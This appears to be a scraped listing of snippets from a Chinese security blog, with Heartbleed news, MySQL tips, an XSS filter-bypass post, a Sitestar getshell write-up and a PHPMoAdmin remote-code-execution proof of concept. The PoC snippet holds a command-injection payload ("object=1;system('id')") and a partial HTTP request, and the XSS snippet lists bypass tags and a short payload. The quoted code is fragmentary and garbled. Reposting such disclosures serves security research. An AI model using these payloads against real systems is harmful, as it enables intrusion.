224idc.com

vowfz.com

xss - 疯子's blog 关注网络安全

http://www.vowfz.com/tag/xss

转自 http:/ zone.wooyun.org/content/6899 小弟初学xss才10天。 阅读 1748 次 xss. PHPMoAdmin Remote Code Execution(附POC).

vowfz.com

OpenSSL被爆致命漏洞 - 疯子's blog 关注网络安全

http://www.vowfz.com/news/20.html

发布 2014-4-9 12:42 Wednesday 分类 业界新闻. 阅读 1752次 评论 12条. 2014-04-09，昨天晚间消息，在全球广泛使用的开源加密通信开发库OpenSSL昨晚爆出致命安全漏洞 heartbleed 中文翻译 心脏出血 CVE-2014-0160 ，利用该漏洞黑客可实时获取以https开头网址的用户账号、密码，包括大批网银、电商、电子邮件等，也就是说如果你昨天登录过网银、电商或者电子邮箱，你的用户名、密码很可能已经被黑客窃取。 国内知名信息安全厂商-椒图科技 www.jowto.com 技术总监称，如同漏洞名称 heartbleed 一样，此漏洞非常致命，黑客可以通过构造恶意的SSL协议的数据包，把一些敏感信息，例如加密密钥读出，从而解密加密通道，监听通信，盗取用户名及密码。 存在漏洞的OpenSSL版本为v1.0.1到v1.0.1f. 更新地址 http:/ www.openssl.org/source/openssl-1.0.1g.tar.gz. 本文固定链接: http:/ www.vowfz.com/news/20.html.

vowfz.com

PHPMoAdmin Remote Code Execution(附POC) - 疯子's blog 关注网络安全

http://www.vowfz.com/hack/22.html

PHPMoAdmin Remote Code Execution(附POC). 发布 2015-4-27 7:52 Monday 分类 黑客攻防. 阅读 873次 评论 0条. From http:/ packetstormsecurity.com/files/130638/phpmoadmin-exec.txt. Http:/ path.to/moadmin.php" -d "object=1;system('id');exit". POST /moadmin/moadmin.php HTTP/1.1. Host: 192.168.33.10. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0). Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8. Accept-Language: en-US,en;q=0.5. Accept-Encoding: gzip, deflate. HTTP/1.1 200 OK. PHPMoAdmi...

vowfz.com

webshell - 疯子's blog 关注网络安全

http://www.vowfz.com/tag/webshell

阅读 1477 次 webshell. PHPMoAdmin Remote Code Execution(附POC). PHPMoAdmin Remote Code Execution(附POC).

vowfz.com

建站之星Sitestar前台Getshell一枚 - 疯子's blog 关注网络安全

http://www.vowfz.com/bug/21.html

发布 2015-4-27 7:22 Monday 分类 漏洞收集. 阅读 787次 评论 0条. 看sitestar 在某数字公司还是属于一般应用的, 就准备提数字了。 Define('IN CONTEXT', 1); include once('load.php');? Lockfile = ROOT.'/install.lock'; $pattern db = '/[0-9a-zA-Z]*$/'; if(! Preg match($pattern db, $db name)! Preg match($pattern db, $db user) { echo '1001';exit; } if(file exists($lockfile) & ($ a= 'template' $ a= 'setting' $ a= 'check') { exit('please delete install.lock! 这里判断了Lock 而且if(file exists($lockfile) & ($ a= 'template' $ a= 'setting' $ a= 'check'). R){ echo '100...

vowfz.com

入侵 - 疯子's blog 关注网络安全

http://www.vowfz.com/tag/入侵

2014-04-09，昨天晚间消息，在全球广泛使用的开源加密通信开发库OpenSSL昨晚爆出致命安全漏洞 heartbleed 中文翻译 心脏出血 CVE-2014-0160 ，利用该漏洞黑客可实时获取以https开头网址的用户账号、密码，包括大批网银、电商、电子邮件等，也就是说如果你昨天登录过网银、电商或者电子邮箱，你的用. 阅读全文. 阅读 1752 次 入侵. 阅读 1610 次 入侵. PHPMoAdmin Remote Code Execution(附POC).

vowfz.com

getshell - 疯子's blog 关注网络安全

http://www.vowfz.com/tag/getshell

简要描述 看sitestar 在某数字公司还是属于一般应用的, 就准备提数字了。 阅读 788 次 getshell. PHPMoAdmin Remote Code Execution(附POC).

vowfz.com

网络技术 - 疯子's blog 关注网络安全

http://www.vowfz.com/sort/network

安装MySQL后，配置文件my.cnf在 /MySQL安装目录/share/mysql目录中，该目录中还包含多个配置文件可供参考，有my-large.cnf ，my-huge.cnf， my-medium.cnf，my-small.cnf，分别对应大中小型数据库应用的配置。 Win环境下即存在于MySQL安装目录中的.in. 阅读全文. 阅读 1577 次 mysql. 原因，该服务依赖的TCP/IP 协议有问题 解决办法 1、开始. 阅读全文. 阅读 2351 次 常见问题. 阅读 1383 次 网络技术. MySQL 3.22.11开始引入两条语句使得这项工作更容易做 GRANT语句创建MySQL用户并指定其权限，而REVOKE语句删除权限。 阅读 2778 次 mysql. VPN服务器的配置 服务器还有两天到期了，想想也没啥可做的，就给大家做个VPN服务器搭建的教程吧 这个教程比较简单基础，每一步都截图出来了 1. 打开 控制面板 管理工具 路由和远程访问 2. . 阅读全文. 阅读 1273 次 服务器. 阅读 1279 次 小技巧.

vowfz.com

那些年我们没能bypass的xss filter - 疯子's blog 关注网络安全

http://www.vowfz.com/hack/17.html

发布 2013-12-27 19:42 Friday 分类 黑客攻防. 阅读 1748次 评论 6条. 转自 http:/ zone.wooyun.org/content/6899. Script a p img body button var div iframe object input select textarea keygen frameset embed svg math video audio. Onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop. Formaction action href xlink:href autofocus src content data. B/ondrag=alert() M / 其实19个字符是可以有的。

vowfz.com

生活随笔 - 疯子's blog 关注网络安全

http://www.vowfz.com/sort/article

如果玉兔号把美国国旗扔掉 美国 put it back 中国 no i dont 美国 i said put it back 中国 LOL make me the warIII started . 阅读全文. 阅读 1422 次 娱乐. PHPMoAdmin Remote Code Execution(附POC). PHPMoAdmin Remote Code Execution(附POC).